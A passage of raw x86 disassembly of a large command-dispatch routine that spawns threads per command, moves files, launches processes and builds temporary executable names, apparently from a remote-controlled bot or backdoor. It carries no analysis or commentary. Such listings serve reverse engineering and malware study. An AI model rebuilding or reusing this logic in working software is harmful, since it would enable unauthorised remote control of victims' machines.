push [ebp+var_690]
push [ebp+var_680]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A910
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset sub_40C92C
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407A66
loc_407A50: ; CODE XREF: sub_401ACD+5F97j
cmp [ebp+var_670], ebx
jnz loc_403D46
push 32h
call dword_427080 ; Sleep
jmp short loc_407A50
; ---------------------------------------------------------------------------
loc_407A66: ; CODE XREF: sub_401ACD+5F81j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AA00
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj
; sub_401ACD+4D92j
push edi
call sub_41C159
push 7Fh
mov [ebp+var_1130], eax
push [ebp+arg_18]
lea eax, [ebp+var_1234]
push eax
call sub_41BFD0
push [ebp+arg_0]
call sub_41C159
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1134], eax
lea eax, [ebp+var_11B4]
push [ebp+var_88]
mov [ebp+var_123C], esi
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_1120], eax
push [ebp+var_1134]
lea eax, [ebp+var_1234]
mov [ebp+var_1124], edi
push eax
push [ebp+var_1130]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A8D4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 18h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_112C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_123C]
push ebx
push eax
push offset sub_410DAB
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_112C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407B63
loc_407B4D: ; CODE XREF: sub_401ACD+6094j
cmp [ebp+var_111C], ebx
jnz loc_403D46
push 32h
call dword_427080 ; Sleep
jmp short loc_407B4D
; ---------------------------------------------------------------------------
loc_407B63: ; CODE XREF: sub_401ACD+607Ej
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A890
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj
; sub_401ACD+4D64j
push 0FFh
lea eax, [ebp+var_287C]
push edi
push eax
call sub_41BFD0
push 0FFh
lea eax, [ebp+var_277C]
push [ebp+arg_18]
push eax
call sub_41BFD0
push [ebp+arg_0]
mov [ebp+var_2678], ebx
call sub_41C159
mov [ebp+var_2674], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407BCD
push 10h
push ebx
push eax
call sub_41C7A5
add esp, 0Ch
mov [ebp+var_266C], eax
jmp short loc_407BD3
; ---------------------------------------------------------------------------
loc_407BCD: ; CODE XREF: sub_401ACD+60EAj
mov [ebp+var_266C], ebx
loc_407BD3: ; CODE XREF: sub_401ACD+60FEj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407BEA
push esi
call sub_41C159
pop ecx
mov [ebp+var_2670], eax
jmp short loc_407BF0
; ---------------------------------------------------------------------------
loc_407BEA: ; CODE XREF: sub_401ACD+610Cj
mov [ebp+var_2670], ebx
loc_407BF0: ; CODE XREF: sub_401ACD+611Bj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2668], eax
lea eax, [ebp+var_28FC]
mov [ebp+var_2900], esi
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_2660], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_2664], eax
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A864
push eax
call sub_41C266
push esi
lea eax, [ebp+var_2C4]
push 1Dh
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_267C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2900]
push ebx
push eax
push offset sub_4167A0
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_267C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407CA1
loc_407C8B: ; CODE XREF: sub_401ACD+61D2j
cmp [ebp+var_265C], ebx
jnz loc_407196
push 32h
call dword_427080 ; Sleep
jmp short loc_407C8B
; ---------------------------------------------------------------------------
loc_407CA1: ; CODE XREF: sub_401ACD+61BCj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A824
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj
; sub_401ACD+4D36j
push 7Fh
lea eax, [ebp+var_3494]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3414]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3394]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3314]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_3290], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_328C], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3498], esi
push edi
push offset unk_42A7E8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 12h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3294], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3498]
push ebx
push eax
push offset sub_41561D
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_3294]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407D89
loc_407D73: ; CODE XREF: sub_401ACD+62BAj
cmp [ebp+var_3288], ebx
jnz loc_407196
push 32h
call dword_427080 ; Sleep
jmp short loc_407D73
; ---------------------------------------------------------------------------
loc_407D89: ; CODE XREF: sub_401ACD+62A4j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A7B0
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j
; sub_401ACD+4C09j
push 7Fh
lea eax, [ebp+var_306C]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2FEC]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2F6C]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2EEC]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E68], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_2E64], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3070], esi
push edi
push offset unk_42A780
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Eh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_2E6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3070]
push ebx
push eax
push offset sub_414358
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_2E6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407E71
loc_407E5B: ; CODE XREF: sub_401ACD+63A2j
cmp [ebp+var_2E60], ebx
jnz loc_407196
push 32h
call dword_427080 ; Sleep
jmp short loc_407E5B
; ---------------------------------------------------------------------------
loc_407E71: ; CODE XREF: sub_401ACD+638Cj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A748
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407E82: ; CODE XREF: sub_401ACD+4AC9j
; sub_401ACD+4AE0j ...
push 7Fh
lea eax, [ebp+var_3CE8]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3C68]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3BE8]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3B68]
push [ebp+var_88]
push eax
call sub_41BFD0
push 20h
lea eax, [ebp+var_3AE8]
push [ebp+arg_8]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A68], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3A64], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3CF0], esi
push edi
push offset unk_42A718
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Dh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3CEC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CF0]
push ebx
push eax
push offset sub_4135DF
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_3CEC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407F6A
loc_407F54: ; CODE XREF: sub_401ACD+649Bj
cmp [ebp+var_3A60], ebx
jnz loc_407196
push 32h
call dword_427080 ; Sleep
jmp short loc_407F54
; ---------------------------------------------------------------------------
loc_407F6A: ; CODE XREF: sub_401ACD+6485j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A6E0
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj
; sub_401ACD+4AB2j
push 7Fh
lea eax, [ebp+var_177C]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push 3Fh
mov [ebp+var_162C], eax
push [ebp+arg_0]
lea eax, [ebp+var_16FC]
push eax
call sub_41BFD0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_407FC6
push 3Fh
lea eax, [ebp+var_16BC]
push esi
push eax
call sub_41BFD0
add esp, 0Ch
loc_407FC6: ; CODE XREF: sub_401ACD+64E5j
lea eax, [ebp+var_16FC]
mov [ebp+var_1628], 1
push eax
lea eax, [ebp+var_177C]
push [ebp+var_162C]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42A6B0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Fh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1624], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1780]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1624]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408052
loc_40803C: ; CODE XREF: sub_401ACD+6583j
cmp [ebp+var_1620], ebx
jnz loc_406BFE
push 32h
call dword_427080 ; Sleep
jmp short loc_40803C
; ---------------------------------------------------------------------------
loc_408052: ; CODE XREF: sub_401ACD+656Dj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42A674
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408063: ; CODE XREF: sub_401ACD+4A5Bj
; sub_401ACD+4A72j
push [ebp+arg_18]
call sub_41C159
cmp eax, ebx
pop ecx
mov [ebp+var_1D68], eax
jle loc_408156
mov esi, 80h
push edi
lea eax, [ebp+var_1EF0]
push esi
push eax
call sub_41C360
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D64], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF4], eax
lea eax, [ebp+var_1DF0]
push esi
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D60], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_1D5C], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A648
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 15h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1D70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF4]
push ebx
push eax
push offset sub_413A29
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1D70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408145
loc_408133: ; CODE XREF: sub_401ACD+6676j
cmp [ebp+var_1D58], ebx
jnz short loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_408133
; ---------------------------------------------------------------------------
loc_408145: ; CODE XREF: sub_401ACD+6664j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A610
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_408156: ; CODE XREF: sub_401ACD+65A7j
push offset unk_42A5D8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408160: ; CODE XREF: sub_401ACD+4A2Dj
; sub_401ACD+4A44j
push [ebp+arg_18]
push edi
call dword_4270BC ; MoveFileA
test eax, eax
jz short loc_40818D
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A5B4
push 200h
push eax
call sub_41C360
add esp, 14h
jmp short loc_4081AD
; ---------------------------------------------------------------------------
loc_40818D: ; CODE XREF: sub_401ACD+669Fj
push offset dword_42A5A8
call sub_418699
pop ecx
push eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
loc_4081AA: ; CODE XREF: sub_401ACD+548Dj
; sub_401ACD+73C5j
add esp, 0Ch
loc_4081AD: ; CODE XREF: sub_401ACD+20DCj
; sub_401ACD+2E89j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4081CA: ; CODE XREF: sub_401ACD+56E4j
call sub_409869
add esp, 14h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_4081D7: ; CODE XREF: sub_401ACD+49FFj
; sub_401ACD+4A16j
push edi
lea eax, [ebp+var_3F08]
push 104h
push eax
call sub_41C360
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_408211
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_408211
push eax
lea eax, [ebp+var_3E04]
push eax
call sub_41C266
pop ecx
pop ecx
loc_408211: ; CODE XREF: sub_401ACD+6722j
; sub_401ACD+6733j
push [ebp+var_88]
lea eax, [ebp+var_3F88]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F8C], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CFC], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF8], eax
lea eax, [ebp+var_3E04]
push eax
lea eax, [ebp+var_3F08]
push eax
push offset unk_42A578
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 24h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3D00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F8C]
push ebx
push eax
push offset sub_417054
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_3D00]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4082C3
loc_4082B1: ; CODE XREF: sub_401ACD+67F4j
cmp [ebp+var_3CF4], ebx
jnz short loc_4082DE
push 32h
call dword_427080 ; Sleep
jmp short loc_4082B1
; ---------------------------------------------------------------------------
loc_4082C3: ; CODE XREF: sub_401ACD+67E2j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A53C
loc_4082CF: ; CODE XREF: sub_401ACD+909j
; sub_401ACD+A47j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_4082DE: ; CODE XREF: sub_401ACD+7C5j
; sub_401ACD+930j ...
push 1
pop esi
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_4082E6: ; CODE XREF: sub_401ACD+49D1j
; sub_401ACD+49E8j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41BF70
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push edi
mov [ebp+var_63C], esi
call sub_41C159
add esp, 10h
cmp eax, esi
jnz short loc_408323
mov [ebp+var_638], 5
loc_408323: ; CODE XREF: sub_401ACD+684Bj
cmp [ebp+var_C], ebx
jz loc_406BFE
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406BFE
lea eax, [ebp+var_E34]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call dword_427074 ; CreateProcessA
test eax, eax
jnz short loc_40836E
push offset unk_42A518
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40836E: ; CODE XREF: sub_401ACD+6895j
push edi
push offset dword_42A4FC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408379: ; CODE XREF: sub_401ACD+49A3j
; sub_401ACD+49BAj
push [ebp+arg_18]
push offset aDoos ; "DOOS"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4084F0
lea eax, [ebp+var_4BF8]
push eax
push 104h
call dword_4270B8 ; GetTempPathA
push 0FFh
lea eax, [ebp+var_25D4]
push edi
push eax
call sub_41BFD0
lea eax, [ebp+var_17D4]
push eax
call sub_40AB77
add esp, 10h
push eax
lea eax, [ebp+var_4BF8]
push eax
lea eax, [ebp+var_24D4]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41C266
mov eax, [ebp+esi+var_84]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23D0], 1
mov [ebp+var_23CC], ebx
jz short loc_40840E
push 10h
push ebx
push eax
call sub_41C7A5
add esp, 0Ch
mov [ebp+var_23C4], eax
jmp short loc_408414
; ---------------------------------------------------------------------------
loc_40840E: ; CODE XREF: sub_401ACD+692Bj
mov [ebp+var_23C4], ebx
loc_408414: ; CODE XREF: sub_401ACD+693Fj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_40842B
push esi
call sub_41C159
pop ecx
mov [ebp+var_23C8], eax
jmp short loc_408431
; ---------------------------------------------------------------------------
loc_40842B: ; CODE XREF: sub_401ACD+694Dj
mov [ebp+var_23C8], ebx
loc_408431: ; CODE XREF: sub_401ACD+695Cj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23C0], eax
lea eax, [ebp+var_2654]
mov [ebp+var_2658], esi
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_23BC], eax
push edi
lea eax, [ebp+var_2C4]
push offset dword_42A4C4
push eax
call sub_41C266
push esi
lea eax, [ebp+var_2C4]
push 1Eh
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_23D4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2658]
push ebx
push eax
push offset sub_4167A0
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_23D4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4084DF
loc_4084C9: ; CODE XREF: sub_401ACD+6A10j
cmp [ebp+var_23B4], ebx
jnz loc_406BFE
push 32h
call dword_427080 ; Sleep
jmp short loc_4084C9
; ---------------------------------------------------------------------------
loc_4084DF: ; CODE XREF: sub_401ACD+69FAj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42A488
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_4084F0: ; CODE XREF: sub_401ACD+68BDj
push offset dword_42A440
loc_4084F5: ; CODE XREF: sub_401ACD+2E30j
; sub_401ACD+447Dj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_408508: ; CODE XREF: sub_401ACD+4975j
; sub_401ACD+498Cj
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_401F75
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A430
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
push edi
call sub_41C159
add esp, 28h
test eax, eax
jle short loc_408591
push edi
call sub_41C159
imul eax, 3E8h
pop ecx
push eax
call dword_427080 ; Sleep
loc_408591: ; CODE XREF: sub_401ACD+6AAEj
push offset dword_42A41C
call sub_415D38
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4085A5: ; CODE XREF: sub_401ACD+4947j
; sub_401ACD+495Ej
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_41CA50
add esp, 10h
test eax, eax
push esi
jz short loc_408664
push [ebp+var_88]
lea eax, [ebp+var_2C4]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A430
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push offset unk_42A404
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
test eax, eax
jle loc_409644
push edi
call sub_41C159
add eax, [ebp+arg_24]
pop ecx
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_408664: ; CODE XREF: sub_401ACD+6B1Dj
lea eax, [ebp+var_2C4]
push offset unk_42A3D0
push eax
call sub_41C266
add esp, 0Ch
loc_408678: ; CODE XREF: sub_401ACD+74E3j
cmp [ebp+var_8], ebx
jnz short loc_408699
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_408699: ; CODE XREF: sub_401ACD+6BAEj
; sub_401ACD+71C7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
jmp loc_409643
; ---------------------------------------------------------------------------
loc_4086AA: ; CODE XREF: sub_401ACD+4919j
; sub_401ACD+4930j
push 7Fh
lea eax, [ebp+var_2218]
push edi
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_2198]
push [ebp+arg_18]
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_2118]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2094], eax
mov eax, [ebp+var_8]
mov [ebp+var_221C], esi
push [ebp+arg_18]
mov [ebp+var_2090], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A39C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Fh
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2098], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_221C]
push ebx
push eax
push offset sub_414F57
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_2098]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40876E
loc_408758: ; CODE XREF: sub_401ACD+6C9Fj
cmp [ebp+var_208C], ebx
jnz loc_40885A
push 32h
call dword_427080 ; Sleep
jmp short loc_408758
; ---------------------------------------------------------------------------
loc_40876E: ; CODE XREF: sub_401ACD+6C89j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A360
jmp loc_40884B
; ---------------------------------------------------------------------------
loc_40877F: ; CODE XREF: sub_401ACD+48EBj
; sub_401ACD+4902j
push 7Fh
lea eax, [ebp+var_23AC]
push edi
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_232C]
push [ebp+arg_18]
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_22AC]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2228], eax
mov eax, [ebp+var_8]
mov [ebp+var_23B0], esi
push [ebp+arg_18]
mov [ebp+var_2224], eax
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A334
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 11h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_222C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23B0]
push ebx
push eax
push offset sub_414703
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_222C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40883F
loc_40882D: ; CODE XREF: sub_401ACD+6D70j
cmp [ebp+var_2220], ebx
jnz short loc_40885A
push 32h
call dword_427080 ; Sleep
jmp short loc_40882D
; ---------------------------------------------------------------------------
loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42A2F8
loc_40884B: ; CODE XREF: sub_401ACD+6CADj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_40885A: ; CODE XREF: sub_401ACD+6C91j
; sub_401ACD+6D66j
cmp [ebp+var_8], ebx
jnz loc_403FBE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_403FB6
; ---------------------------------------------------------------------------
loc_40887A: ; CODE XREF: sub_401ACD+48BDj
; sub_401ACD+48D4j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset dword_42A2F0
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 10h
loc_408897: ; CODE XREF: sub_401ACD+6E31j
test eax, eax
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
loc_4088B1: ; CODE XREF: sub_401ACD+789Bj
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_4088DA: ; CODE XREF: sub_401ACD+488Fj
; sub_401ACD+48A6j
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
push offset dword_42A2DC
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 14h
jmp short loc_408897
; ---------------------------------------------------------------------------
loc_408900: ; CODE XREF: sub_401ACD+4861j
; sub_401ACD+4878j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 10h
test eax, eax
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push [ebp+arg_18]
push edi
push offset dword_42A2C0
loc_408967: ; CODE XREF: sub_401ACD+6F24j
; sub_401ACD+6F92j ...
call sub_415DAC
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_408971: ; CODE XREF: sub_401ACD+4833j
; sub_401ACD+484Aj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4089A2
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A2B8
push eax
call sub_41C266
add esp, 0Ch
loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A29C
jmp loc_408967
; ---------------------------------------------------------------------------
loc_4089F6: ; CODE XREF: sub_401ACD+4805j
; sub_401ACD+481Cj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push esi
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A280
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408A64: ; CODE XREF: sub_401ACD+47D7j
; sub_401ACD+47EEj
cmp [ebp+var_C], ebx
